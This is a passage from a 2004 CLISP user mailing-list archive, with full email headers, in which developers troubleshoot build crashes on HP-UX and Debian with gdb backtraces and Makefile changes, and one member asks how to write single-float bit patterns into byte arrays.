such file or directory > /usr/bin/install: cannot stat `full/*': No such file or directory It seems to me you are doing "make check" and "make install" without "make" having run to completion. "make" needs to be run successfully before you can do "make install". Or maybe there's a problem with symlinks in the build directory? Bruno From A.Nuzzo@motorola.com Mon May 24 10:41:38 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSJSD-0000YP-T5 for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 10:41:37 -0700 Received: from motgate.mot.com ([129.188.136.100]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSJSD-0001L3-FN for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 10:41:37 -0700 Received: from az33exr02.mot.com (az33exr02.mot.com [10.64.251.232]) by motgate.mot.com (Motorola/Motgate) with ESMTP id i4OHfaij029594 for ; Mon, 24 May 2004 10:41:36 -0700 (MST) Received: from il02exm10.corp.mot.com (il02exm10.corp.mot.com [10.0.111.21]) by az33exr02.mot.com (Motorola/az33exr02) with ESMTP id i4OHeJ4s002156 for ; Mon, 24 May 2004 12:40:20 -0500 Received: by il02exm10 with Internet Mail Service (5.5.2657.72) id ; Mon, 24 May 2004 12:41:34 -0500 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: Problem compiling on hp-ux 11.11 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 10:42:03 2004 X-Original-Date: Mon, 24 May 2004 12:41:32 -0500 If I do the ./configure --prefix=/users/artn --build build-O it does a core dump when it tries to run ./lisp.run chmod +w config.lisp echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" make: *** [interpreted.mem] Bus error (core dumped) Here is the backtrace: artn@bs713> gdb GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "hppa2.0w-hp-hpux11.11". Breakpoint 1 at 0x3a30c Breakpoint 2 at 0x38d24 Breakpoint 3 at 0x37028 Breakpoint 4 at 0x3b62c Breakpoint 5 at 0x28df0 .gdbinit:116: Error in sourced command file: No symbol "back_trace" in current context. (gdb) run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" Starting program: /users/artn/clisp-2.33/build-O/lisp.run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" Program received signal SIGSEGV, Segmentation fault. 0x00026fb4 in gar_col_normal () (gdb) bt #0 0x00026fb4 in gar_col_normal () #1 0x00028d1c in do_gar_col_simple () #2 0x000bfeec in with_gc_statistics () #3 0x00028d80 in gar_col_simple () #4 0x00028fc0 in make_space_gc () #5 0x000293c8 in allocate_vector () #6 0x0002c11c in init_subr_tab_2 () #7 0x0002df60 in initmem () #8 0x0002f608 in main () #9 0x7af36440 in _start () from /usr/lib/libc.2 (gdb) I also tried with the Makefile modified with -O1, -O0, and the combination -O0 with -DNO_GENERATIONAL_GC added to the CFLAGS. In all cases the compile coredumped at the same loction. A make clean was done between each make. Art > -----Original Message----- > From: Sam Steingold [mailto:sds@gnu.org] > Sent: Monday, May 24, 2004 11:13 AM > To: clisp-list@lists.sourceforge.net; Nuzzo Art-CINT116 > Subject: Re: Problem compiling on hp-ux 11.11 > > > > * Nuzzo Art-CINT116 [2004-05-24 10:16:08 > > -0500]: > > > > I did what you suggested. It appears to run until I get a CLISP > > prompt and I can (quit) and the program exits normally. > > it appears that the "build-g" directory contains a complete > successful build of CLISP. You can use it for now. > > Now, you reported that the normal non-debug build failed. > > Let us figure out what went wrong there. > > Please do > > $ ./configure --build build-O > what error do you get? > > $ cd build-O > $ gdb > (gdb) run > > send us the backtrace. > > then edit build-O/Makefile and replace "-O2" in CFLAGS with > -O1 (and if it also fails, with -O0). If that doesn't work > either, add -DNO_GENERATIONAL_GC to CFLAGS. > > (remember to do "make clean" after you change CFLAGS) > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord From hall.cj@verizon.net Mon May 24 10:55:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSJfL-0003Gx-86 for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 10:55:11 -0700 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSJfK-0004V6-N4 for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 10:55:10 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out008.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040524175509.CCTE27801.out008.verizon.net@naia.homelinux.net> for ; Mon, 24 May 2004 12:55:09 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BSJfI-0002IU-00 for ; Mon, 24 May 2004 07:55:08 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040524175507.GT12512@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Qn4G1eBrv+t66M9q" Content-Disposition: inline User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out008.verizon.net from [4.64.145.131] at Mon, 24 May 2004 12:55:09 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] (Update) Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 10:56:03 2004 X-Original-Date: Mon, 24 May 2004 07:55:07 -1000 --Qn4G1eBrv+t66M9q Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 8^) Got 'im! And thanks to everybody for all the useful, educational tips, suggestions and pointers. I focused on 2.29, and have now got a successful build with regexes in place. Woot! For those that are interested, here is what it took for me to get clisp 2.29 built and installed on a vanilla Debian Woody, kernel 2.2.25. Make was bombing on the 'manual' portion of the 'all' target, so I got rid of the 'manual' and also the 'docs' dependencies (just to be safe - I can always use the Debian clisp-doc pkg). I also removed the 'install-man' and 'install-doc' dependencies on the 'install' target. It was also necessary to manually fix up the the 'MODULES =3D' line near the top of the generated Makefile to use some information I found in 'makemake'. Specifically, it seems that 'postgres' (put there by 'configure --with-module=3Dpostgres') has to be manually changed to either of postgres632 or postgres642 - I used postgres642, though I haven't tested it yet (gotta sleep _sometime_). I use Postgres 7.3, but they are pretty good about maintaining compatibility for a few versions, so I'm hoping. Also, 'bindings', if selected with '--with-module=3Dbindings' should be altered to 'bindings/libc6' (for my box), or the build fails. It looks like '--with-module=3Dregexp' actually worked with no tweaking necessary at all - if I run 'clisp -K full', then '(use-package "REGEXP")', voila! they are there! The README in the mybuild-dir/regexp directory mentioned this, and also explains how to build an image with regexp.o included, though the 'full' image already seems to have regexp.o. Thanks again for all your help, +Chris --=20 Good judgment comes from experience. Experience comes from bad judgment. - Jim Horning --Qn4G1eBrv+t66M9q Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAsjb7rZy455Pig6QRAgkLAKCsIkBufWYA5okw4ReWSEetjx82YACfcstl cMPZraiTbXwpm3RfbzGWBc0= =whqQ -----END PGP SIGNATURE----- --Qn4G1eBrv+t66M9q-- From sds@gnu.org Mon May 24 11:11:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSJvD-0006sy-5K for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 11:11:35 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSJvC-0000QG-MJ for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 11:11:34 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4OIBOpT006441; Mon, 24 May 2004 14:11:24 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Nuzzo Art-CINT116 Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Nuzzo Art-CINT's message of "Mon, 24 May 2004 12:41:32 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Nuzzo Art-CINT116 , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 2.4 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.4 OPT_HEADER Headers include an "opt"ed phrase Subject: [clisp-list] Re: Problem compiling on hp-ux 11.11 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 11:12:15 2004 X-Original-Date: Mon, 24 May 2004 14:11:24 -0400 Thanks a lot! could you please aso do $ gcc -o malloc unix/malloc.c $ for x in 1000000 100000 10000 1000; do ./malloc $x; done $ rm -f malloc thanks! > * Nuzzo Art-CINT116 [2004-05-24 12:41:32 -0500]: > > If I do the ./configure --prefix=/users/artn --build build-O it does a core dump when it tries to run ./lisp.run > > > chmod +w config.lisp > echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > make: *** [interpreted.mem] Bus error (core dumped) > > Here is the backtrace: > > artn@bs713> gdb > GNU gdb 5.3 > Copyright 2002 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and you are > welcome to change it and/or distribute copies of it under certain conditions. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for details. > This GDB was configured as "hppa2.0w-hp-hpux11.11". > Breakpoint 1 at 0x3a30c > Breakpoint 2 at 0x38d24 > Breakpoint 3 at 0x37028 > Breakpoint 4 at 0x3b62c > Breakpoint 5 at 0x28df0 > .gdbinit:116: Error in sourced command file: > No symbol "back_trace" in current context. > (gdb) run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > Starting program: /users/artn/clisp-2.33/build-O/lisp.run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > > Program received signal SIGSEGV, Segmentation fault. > 0x00026fb4 in gar_col_normal () > (gdb) bt > #0 0x00026fb4 in gar_col_normal () > #1 0x00028d1c in do_gar_col_simple () > #2 0x000bfeec in with_gc_statistics () > #3 0x00028d80 in gar_col_simple () > #4 0x00028fc0 in make_space_gc () > #5 0x000293c8 in allocate_vector () > #6 0x0002c11c in init_subr_tab_2 () > #7 0x0002df60 in initmem () > #8 0x0002f608 in main () > #9 0x7af36440 in _start () from /usr/lib/libc.2 > (gdb) > > > > I also tried with the Makefile modified with -O1, -O0, and the > combination -O0 with -DNO_GENERATIONAL_GC added to the CFLAGS. In all > cases the compile coredumped at the same loction. A make clean was > done between each make. > -- Sam Steingold (http://www.podval.org/~sds) running w2k Type louder, please. From A.Nuzzo@motorola.com Mon May 24 11:32:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSKFH-0003Cn-8F for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 11:32:19 -0700 Received: from motgate7.mot.com ([129.188.136.7]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSKFG-0005wZ-Oj for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 11:32:18 -0700 Received: from az33exr01.mot.com (az33exr01.mot.com [10.64.251.231]) by motgate7.mot.com (Motorola/Motgate7) with ESMTP id i4OIRYep007115 for ; Mon, 24 May 2004 11:27:38 -0700 (MST) Received: from il02exm10.corp.mot.com (il02exm10.corp.mot.com [10.0.111.21]) by az33exr01.mot.com (Motorola/az33exr01) with ESMTP id i4OIPpeS012773 for ; Mon, 24 May 2004 13:26:02 -0500 Received: by il02exm10 with Internet Mail Service (5.5.2657.72) id ; Mon, 24 May 2004 13:31:29 -0500 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: Problem compiling on hp-ux 11.11 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 11:33:03 2004 X-Original-Date: Mon, 24 May 2004 13:31:28 -0500 Sure, no problem. Here it is. artn@bs713> gcc -o malloc unix/malloc.c unix/malloc.c: In function `printf_address': unix/malloc.c:13: warning: right shift count >= width of type artn@bs713> for x in 1000000 100000 10000 1000; do ./malloc $x; done malloc(1000000) = #x40003158 &main = #x400010A2 malloc(100000) = #x40003158 &main = #x400010A2 malloc(10000) = #x40003158 &main = #x400010A2 malloc(1000) = #x40003158 &main = #x400010A2 artn@bs713> rm -f malloc > -----Original Message----- > From: Sam Steingold [mailto:sds@gnu.org] > Sent: Monday, May 24, 2004 1:11 PM > To: clisp-list@lists.sourceforge.net; Nuzzo Art-CINT116 > Cc: Bruno Haible > Subject: Re: Problem compiling on hp-ux 11.11 > > > Thanks a lot! > could you please aso do > $ gcc -o malloc unix/malloc.c > $ for x in 1000000 100000 10000 1000; do ./malloc $x; done > $ rm -f malloc > > thanks! > > > * Nuzzo Art-CINT116 [2004-05-24 12:41:32 > > -0500]: > > > > If I do the ./configure --prefix=/users/artn --build > build-O it does a > > core dump when it tries to run ./lisp.run > > > > > > chmod +w config.lisp > > echo '(setq *clhs-root-default* > "http://www.lisp.org/HyperSpec/")' >> > > config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 > -norc -m 750KW -x "(and (load \"init.lisp\") > (sys::%saveinitmem) (ext::exit))" > > make: *** [interpreted.mem] Bus error (core dumped) > > > > > Here is the backtrace: > > > > artn@bs713> gdb > > GNU gdb 5.3 > > Copyright 2002 Free Software Foundation, Inc. > > GDB is free software, covered by the GNU General Public > License, and > > you are welcome to change it and/or distribute copies of it under > > certain conditions. Type "show copying" to see the > conditions. There > > is absolutely no warranty for GDB. Type "show warranty" > for details. > > This GDB was configured as "hppa2.0w-hp-hpux11.11". Breakpoint 1 at > > 0x3a30c Breakpoint 2 at 0x38d24 > > Breakpoint 3 at 0x37028 > > Breakpoint 4 at 0x3b62c > > Breakpoint 5 at 0x28df0 > > .gdbinit:116: Error in sourced command file: > > No symbol "back_trace" in current context. > > (gdb) run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 > -norc -m 750KW -x "(and (load \"init.lisp\") > (sys::%saveinitmem) (ext::exit))" > > Starting program: /users/artn/clisp-2.33/build-O/lisp.run > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW > -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > > > > Program received signal SIGSEGV, Segmentation fault. 0x00026fb4 in > > gar_col_normal () > > (gdb) bt > > #0 0x00026fb4 in gar_col_normal () > > #1 0x00028d1c in do_gar_col_simple () > > #2 0x000bfeec in with_gc_statistics () > > #3 0x00028d80 in gar_col_simple () > > #4 0x00028fc0 in make_space_gc () > > #5 0x000293c8 in allocate_vector () > > #6 0x0002c11c in init_subr_tab_2 () > > #7 0x0002df60 in initmem () > > #8 0x0002f608 in main () > > #9 0x7af36440 in _start () from /usr/lib/libc.2 > > (gdb) > > > > > > > > I also tried with the Makefile modified with -O1, -O0, and the > > combination -O0 with -DNO_GENERATIONAL_GC added to the > CFLAGS. In all > > cases the compile coredumped at the same loction. A make clean was > > done between each make. > > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k Type louder, please. From hall.cj@verizon.net Tue May 25 02:46:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSYVi-0005HX-Qr for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 02:46:14 -0700 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSYVi-00046V-G5 for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 02:46:14 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out009.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040525094612.NHHW29216.out009.verizon.net@naia.homelinux.net> for ; Tue, 25 May 2004 04:46:12 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BSYVf-0002G9-00 for ; Mon, 24 May 2004 23:46:11 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040525094610.GU12512@naia.homelinux.net> References: <874qq6asca.fsf@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="yKkvi6mMqAM+MlBZ" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out009.verizon.net from [4.64.145.131] at Tue, 25 May 2004 04:46:12 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 25 02:47:16 2004 X-Original-Date: Mon, 24 May 2004 23:46:10 -1000 --yKkvi6mMqAM+MlBZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, May 24, 2004 at 10:39:29AM -0400, Sam Steingold wrote: >=20 > Please complain to the Debian and FreeBSD package maintainers. > I agree that they should offer more modules by default. >=20 I've discovered that the FreeBSD full image has rexexp included. Yay! Someone notified me via this list that Debian includes regexp since 2.29, so problem solved. :-) (*That* was easy, at least!) >=20 > $ ./configure --with-debug --build build-g > $ cd build-g > $ gdb lisp.run > (gdb) run -B . -E utf-8 -i init.lisp >=20 > and report the backtrace. >=20 > you might also try the CVS HEAD. I tried to do this using 2.33, but it stuck for over 45 minutes while building CLOS, so I cancelled the build. Granted, I use an old 333 mhz Pentium, but the GCL debug build only took about 45 minutes *total*. I also tried using CVS from today, but it stopped at: aclocal: src/m4/libtool.m4: 3608: duplicated macro `AM_DISABLE_STATIC' aclocal: src/m4/libtool.m4: 3609: duplicated macro `AM_PROG_LD' aclocal: src/m4/libtool.m4: 3610: duplicated macro `AM_PROG_NM' make[1]: *** [src/autoconf/aclocal.m4] Error 1 make[1]: Leaving directory `/home/rocktiger/lisp/build/clisp' make: *** [../src/VERSION] Error 2 >=20 > Please also do > $ gcc -o malloc unix/malloc.c > $ for x in 1000000 100000 10000 1000; do ./malloc $x; done > $ rm -f malloc > and send the results here. >=20 > thanks. >=20 malloc(1000000) =3D #x4013A008 &main =3D #x 80484D4 malloc(100000) =3D #x 8049768 &main =3D #x 80484D4 malloc(10000) =3D #x 8049768 &main =3D #x 80484D4 malloc(1000) =3D #x 8049768 &main =3D #x 80484D4 > --=20 > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Programming is like sex: one mistake and you have to support it for a lif= etime. Nice sig! Aloha, +Chris --=20 Good judgment comes from experience. Experience comes from bad judgment. - Jim Horning --yKkvi6mMqAM+MlBZ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAsxXirZy455Pig6QRAnNhAJ9CAFSYWtbLo5dx3xw7bVUkXZtfvQCZAfLa VF/dt/d37FYdDCG9X4/6yZE= =M3UD -----END PGP SIGNATURE----- --yKkvi6mMqAM+MlBZ-- From sds@gnu.org Tue May 25 06:13:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSbkN-0000Ad-Br for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 06:13:35 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSbkM-00074Q-SW for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 06:13:34 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4PDDLYT003068; Tue, 25 May 2004 09:13:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Chris Hall Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040525094610.GU12512@naia.homelinux.net> (Chris Hall's message of "Mon, 24 May 2004 23:46:10 -1000") References: <874qq6asca.fsf@naia.homelinux.net> <20040525094610.GU12512@naia.homelinux.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Chris Hall Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 25 06:14:08 2004 X-Original-Date: Tue, 25 May 2004 09:13:21 -0400 > * Chris Hall [2004-05-24 23:46:10 -1000]: > >> $ ./configure --with-debug --build build-g >> $ cd build-g >> $ gdb lisp.run >> (gdb) run -B . -E utf-8 -i init.lisp >> >> and report the backtrace. >> >> you might also try the CVS HEAD. > > I tried to do this using 2.33, but it stuck for over 45 minutes while > building CLOS, so I cancelled the build. I don't know what "building CLOS" means. > I also tried using CVS from today, but it stopped at: > > aclocal: src/m4/libtool.m4: 3608: duplicated macro `AM_DISABLE_STATIC' > aclocal: src/m4/libtool.m4: 3609: duplicated macro `AM_PROG_LD' > aclocal: src/m4/libtool.m4: 3610: duplicated macro `AM_PROG_NM' > make[1]: *** [src/autoconf/aclocal.m4] Error 1 > make[1]: Leaving directory `/home/rocktiger/lisp/build/clisp' > make: *** [../src/VERSION] Error 2 touch ../src/VERSION and proceed. -- Sam Steingold (http://www.podval.org/~sds) running w2k Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord From brown@google.com Tue May 25 11:16:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSgTu-0006Q9-CO for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 11:16:54 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BSgTt-0002Xj-Vo for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 11:16:53 -0700 Received: from nybox3.corp.google.com.google.com (gpsi1.corp.google.com [10.3.0.251]) by 216-239-45-4.google.com (8.12.11/8.12.11) with ESMTP id i4PIGjwY027308 for ; Tue, 25 May 2004 11:16:45 -0700 Message-Id: <200405251816.i4PIGjwY027308@216-239-45-4.google.com> From: Robert Brown To: clisp-list@lists.sourceforge.net CC: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] writing FP numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 25 11:17:08 2004 X-Original-Date: Tue, 25 May 2004 11:16:45 -0700 I would like to write a value of type single-float into an array of 8-bit bytes using the binary format that C code would use. Something similar to: float foobar; foobar = 3.14159; memcpy(buffer, &foobar, 4); I can decode a single-float with integer-decode-float in order to get the correct bits, but things get a little bit tricky when the float is denormalized. Also, I'm unsure how integer-decode-float handles NaNs. Is there a non-ANSI internal clisp function that does what I want quickly and reliably? For example, SBCL has sb-kernel:single-float-bits, which returns an integer containing the bit representation of its floating point argument. Also, given the raw bits for a floating point number, what clisp function can be used to construct a single-float or double-float? bob From sds@gnu.org Tue May 25 13:45:33 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSink-00019H-N1 for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 13:45:32 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSink-0005ia-9f for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 13:45:32 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4PKjKYT006696; Tue, 25 May 2004 16:45:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Robert Brown Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405251816.i4PIGjwY027308@216-239-45-4.google.com> (Robert Brown's message of "Tue, 25 May 2004 11:16:45 -0700") References: <200405251816.i4PIGjwY027308@216-239-45-4.google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Robert Brown Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: writing FP numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion 